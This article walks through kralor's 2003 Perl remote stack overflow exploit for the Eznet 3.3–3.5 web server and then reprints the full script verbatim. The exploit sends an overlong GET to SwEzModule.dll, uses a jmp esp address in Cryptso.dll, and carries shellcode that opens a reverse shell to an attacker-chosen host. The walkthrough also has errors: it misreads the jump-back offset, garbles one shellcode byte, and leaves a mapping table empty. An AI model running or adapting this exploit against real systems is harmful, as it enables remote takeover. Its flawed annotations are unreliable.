Understanding the Eznet 3.5.0 Remote Stack Overflow Exploit

Understanding the Eznet 3.5.0 Remote Stack Overflow Exploit
What this paper is
This paper details a remote stack overflow vulnerability in Eznet versions 3.3 through 3.5. The exploit, written by kralor, targets a specific DLL (Cryptso.dll) within the Eznet network pack. It leverages a jmp esp instruction to redirect execution to a custom shellcode, which establishes a reverse remote shell connection back to the attacker.
Simple technical breakdown
The core of the exploit lies in sending a specially crafted HTTP GET request to the Eznet server. This request contains a long string of data that overflows a buffer on the server's stack. When the vulnerable function attempts to return, instead of returning to its normal execution path, it's tricked into jumping to an address controlled by the attacker.
This attacker-controlled address points to a jmp esp instruction within Cryptso.dll. The esp (stack pointer) at that moment points to the shellcode that the attacker has also injected into the buffer. The shellcode then executes, initiating a connection back to the attacker's machine on a specified port.
Complete code and payload walkthrough
Let's break down the Perl script and its components:
#!/usr/bin/perl -w
#########C###O###R###O###M###P###U###T###E###R###########
# [Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
#----------------------------------------------------------------------------------------#
# versions tested & not vulnerables: v3.0 v3.1 v3.2 #
# versions tested & vulnerables: v3.3 v3.4 v3.5 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to v3.5 #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to #
# finally reach the shellcode. The shellcode gives a reverse remote shell. #
# Universal shellcode coded by kralor with the PEB technic. #
######W#W#W#.#C#O#R#O#M#P#U#T#E###R###.###N###E###T######
use IO::Socket;#!/usr/bin/perl -w: This is the shebang line, indicating the script should be executed with the Perl interpreter.-wenables warnings, which is good practice.- Comments: The extensive comments provide context about the vulnerability, affected versions, the exploit's mechanism (
jmp esp), and the shellcode's purpose (reverse shell using PEB technique). use IO::Socket;: This line imports theIO::Socketmodule, which is essential for network communication (creating sockets, connecting, sending/receiving data).
print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n";
print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";
if(@ARGV<3||@ARGV>3) {
print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
exit;
}- Banner/Information: Prints the exploit's name, author, and associated website/IRC channel.
- Argument Check:
@ARGVis an array containing the command-line arguments passed to the script.@ARGV<3||@ARGV>3checks if the number of arguments is not exactly 3.- If the number of arguments is incorrect, it prints the correct usage syntax (
<victim>,<your_ip>,<your_port>) and exits.
print "[+] Connecting to ".$ARGV[0]."\t...";
my $sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>"80");
if(!$sock) {
print "Error\r\n";
exit;
}
print "Done\r\n";- Socket Creation and Connection:
IO::Socket::INET->new(...)attempts to create a new TCP socket.Proto=>'tcp'specifies the TCP protocol.PeerAddr=>$ARGV[0]sets the target IP address or hostname (the victim).PeerPort=>"80"sets the target port to 80, which is the default HTTP port. The exploit assumes Eznet is listening on this port.- If the connection fails (
!$sock), it prints "Error" and exits. - If successful, it prints "Done".
# 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
# 0xffffedffe9 jmp back ($ - 4'608)
$eip = "\x2B\xC7\x04\x10";
$jmp_back = "\xE9\xFF\xED\xFF\xFF";- Exploit Gadgets:
$eip = "\x2B\xC7\x04\x10";: This is the address0x1004C72Bin little-endian format. The comment indicates this is ajmp espinstruction withinCryptso.dll. This is the crucial redirection point. The bytes\x2B\xC7\x04\x10represent0x1004C72Bwhen interpreted as a little-endian address.$jmp_back = "\xE9\xFF\xED\xFF\xFF";: This is a relative jump instruction (E9) followed by an offset. The offset\xFF\xED\xFF\xFF(which is-0x10000 + 0xFFED = -0x11in signed 32-bit, or more precisely, it's a relative jump to$-4which is a common technique to jump back a few bytes, often to overwrite a return address or to position execution within the shellcode). The comment clarifies this is a jump backward by 4608 bytes ($ - 4'608). This is likely used to re-enter the shellcode after the initialjmp esp.
# universal reverse remote shell using PEB, coded by kralor.
$shellc0deI = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
"\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
"\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
"\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
"\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
"\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
"\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
"\xae\xe1\xb1\x8d\xe1\x9f\de\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
"\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
"\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
"\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
"\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
"\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
"\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
"\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
"\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
"\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
"\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
"\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
$shellc0deII = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
"\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
"\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
"\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
"\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
"\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
"\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
"\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
"\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
"\x45\x95";- Shellcode:
$shellc0deIand$shellc0deII: These are the two parts of the shellcode. The exploit concatenates these and other data to form the payload.- The comment states it's a "universal reverse remote shell using PEB". PEB (Process Environment Block) is a data structure in Windows that contains information about the current process. Shellcode using PEB often tries to find loaded modules (like
ws2_32.dllfor networking functions) and resolve function addresses dynamically, making it more portable across different Windows versions and configurations. - The shellcode's exact functionality is complex and obfuscated, typical for shellcode of this era. It likely performs the following steps:
- Initialization: Sets up registers and finds the PEB.
- Module Loading: Locates necessary Windows API functions (e.g.,
socket,connect,CreateProcessorcmd.exeexecution) by walking the PEB's linked list of loaded modules. - Connection Setup: Creates a socket and connects back to the attacker's IP and port (
$ARGV[1],$ARGV[2]). - Shell Spawning: Executes a command shell (
cmd.exe) and redirects its standard input, output, and error streams to the established network socket, providing a remote shell.
- The specific bytes are highly optimized for size and to bypass simple signature-based detection.
my $tip = inet_aton($ARGV[1]);
my $paddr = sockaddr_in($ARGV[2], $tip);
$paddr=substr($paddr,2,6);
$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
my $rport=substr($paddr,0,2);
my $rip=substr($paddr,2,4);- IP and Port Encoding:
inet_aton($ARGV[1]): Converts the attacker's IP address (from$ARGV[1]) into a network byte order binary representation.sockaddr_in($ARGV[2], $tip): Creates a socket address structure containing the attacker's port ($ARGV[2]) and IP address.$paddr=substr($paddr,2,6);: Extracts 6 bytes from the socket address structure. This likely contains the port and IP address in a specific format.$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";: This performs a XOR operation on the extracted bytes with a repeating key\x95. This is a simple form of obfuscation or encoding for the IP and port data that the shellcode expects.$rport=substr($paddr,0,2);: Extracts the first 2 bytes, which represent the encoded attacker's port.$rip=substr($paddr,2,4);: Extracts the next 4 bytes, which represent the encoded attacker's IP address.
$request = "GET /SwEzModule.dll?operation=login&autologin=".
"\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
"\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";
print $sock $request;
print "[+] Sending evil request\t...";
close($sock);
print "Done\r\n";
exit;- Crafting the HTTP Request:
"GET /SwEzModule.dll?operation=login&autologin=": This is the start of the HTTP request. It targets a specific DLL and operation, likely a vulnerable endpoint in Eznet. Theautologinparameter is where the overflow occurs."\x90"x100: This is 100 NOP (No Operation) instructions (\x90). These are used as padding to ensure the shellcode is placed at a predictable location relative to the overflow.$shellc0deI: The first part of the shellcode.$rport: The encoded attacker's port."\x96\x46\x52\x97": These are specific bytes that likely act as delimiters or markers for the shellcode and the following IP address. Their exact purpose depends on how the shellcode parses the buffer.$rip: The encoded attacker's IP address.$shellc0deII: The second part of the shellcode."\x90"x4103: A large block of NOPs (4103 bytes). This is the main buffer overflow padding. It fills the vulnerable buffer and extends beyond it.$eip: The address0x1004C72B(thejmp espgadget). This is placed at the end of the overflowed buffer, overwriting the original return address on the stack."\x90"x4: A few more NOPs for alignment.$jmp_back: The relative jump instruction to jump back into the shellcode." HTTP/1.0\r\n\r\n": The rest of the HTTP request headers.
- Sending and Closing:
print $sock $request;: Sends the crafted HTTP request over the established socket.print "[+] Sending evil request\t...";: Informs the user the request is being sent.close($sock);: Closes the connection. The exploit doesn't expect a response on this connection; it waits for the reverse shell.exit;: Exits the script.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#########C###O###R###O###M###P###U###T###E###R###########
# [Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
#----------------------------------------------------------------------------------------#
# versions tested & not vulnerables: v3.0 v3.1 v3.2 #
# versions tested & vulnerables: v3.3 v3.4 v3.5 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to v3.5 #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to #
# finally reach the shellcode. The shellcode gives a reverse remote shell. #
# Universal shellcode coded by kralor with the PEB technic. #
######W#W#W#.#C#O#R#O#M#P#U#T#E###R###.###N###E###T######
use IO::Socket;
print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n";
print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";
if(@ARGV<3||@ARGV>3) {
print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
exit;
}
print "[+] Connecting to ".$ARGV[0]."\t...";
my $sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>"80");
if(!$sock) {
print "Error\r\n";
exit;
}
print "Done\r\n";
# 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
# 0xffffedffe9 jmp back ($ - 4'608)
$eip = "\x2B\xC7\x04\x10";
$jmp_back = "\xE9\xFF\xED\xFF\xFF";
# universal reverse remote shell using PEB, coded by kralor.
$shellc0deI = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
"\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
"\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
"\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
"\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
"\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
"\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
"\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
"\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
"\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
"\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
"\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
"\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
"\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
"\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
"\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
"\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
"\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
"\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
$shellc0deII = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
"\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
"\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
"\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
"\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
"\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
"\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
"\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
"\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
"\x45\x95";
my $tip = inet_aton($ARGV[1]);
my $paddr = sockaddr_in($ARGV[2], $tip);
$paddr=substr($paddr,2,6);
$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
my $rport=substr($paddr,0,2);
my $rip=substr($paddr,2,4);
$request = "GET /SwEzModule.dll?operation=login&autologin=".
"\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
"\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";
print $sock $request;
print "[+] Sending evil request\t...";
close($sock);
print "Done\r\n";
exit;
# milw0rm.com [2003-12-18]